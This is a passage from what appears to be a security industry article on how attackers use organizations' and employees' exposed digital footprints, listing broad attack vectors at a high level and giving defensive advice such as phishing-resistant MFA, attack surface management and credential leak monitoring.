Tactical attack vectors derived from exposed digital footprints include:
Identity and role mapping: Use of social networks, publications, and organizational disclosures to identify privileged users, trust relationships, and lateral movement paths
Credential and token reuse: Reuse of leaked credentials, API keys, and tokens over long periods to regain access without new exploits or tooling
Perimeter exploitation via transparency: Targeting of publicly documented architectures, exposed technologies, and known integration points
Exposed service exploitation: Compromise of internet-facing edge devices, management planes, update services, and CI/CD endpoints
Supply-chain leverage: Exploitation of disclosed vendors, SaaS platforms, and cloud dependencies as indirect access paths
Persistence through legacy exposure: Abuse of forgotten accounts, test systems, and undercommissioned services still reachable externally
Defensive evasion through disclosure awareness: Tailoring operations based on publicly revealed security controls, tooling, and incident history
Advice for reducing digital footprint risk
A structured technical approach is imperative to effectively reduce the risk of employees’ digital footprint exposure. It must aim to close identity security gaps, eliminate unknown external resources, and proactively monitor for leaks of sensitive data. First, organizations must strengthen their identity infrastructure by implementing phishing-resistant multi-factor authentication (MFA) for all privileged accounts and by integrating credential exposure monitoring directly at the identity provider (IdP) level to detect and block authentication attempts using compromised credentials.
In addition, external attack surface management (EASM) must be implemented to identify and remediate internet-exposed, unknown, overlooked, or misconfigured resources, including servers, API endpoints, and storage resources that could expose configuration or sensitive organizational data. Digital risk protection (DRP) programs must prioritize monitoring the personally identifiable information (PII) of executives and board members, privileged credentials, and sensitive intellectual property on dark web forums, data breach datasets, and social media platforms to detect and disrupt adversary reconnaissance and targeting activities in the early stages of an attack lifecycle.
To reduce the risk of credential exposure, organizations should also continuously monitor for leaked or compromised credentials associated with corporate domains, limit the public disclosure of internal technical information, implement strong authentication methods resistant to credential theft, and respond rapidly when exposed accounts or infrastructure are identified.
It is equally important to consider employees as an integral part of the extended security perimeter. Technical controls must remain the primary means of mitigation. Measures such as strict access restrictions, centralized logging and analysis, and automated detection and response mechanisms should form the core of the defense. At the same time, it is critical to raise employee awareness about how their personal online activities and digital presence can directly affect the organization’s security posture.
Organizations that implement these measures will see their digital footprint exposure transformed from a silent risk into a managed, measurable security domain, significantly reducing the likelihood of identity theft, targeted intrusions, and the leakage of critical intelligence.
Conclusion
Today’s threat actors are no longer limited to exploiting technical vulnerabilities; they increasingly weaponize digital footprints as a primary enabler of their operations. For organizations, this means the attack surface extends well beyond networks and endpoints to include all externally exposed information. Any data available online about systems, infrastructure, or employees can be collected, correlated, and exploited to support reconnaissance, targeting, and intrusion planning, often without generating a single security alert or triggering traditional detection mechanisms. As a result, organizations that actively identify, monitor, and manage their external assets and digital footprint are better positioned to detect exposure early, reduce opportunities for adversaries, and strengthen their overall security posture before threats materialize.
Login
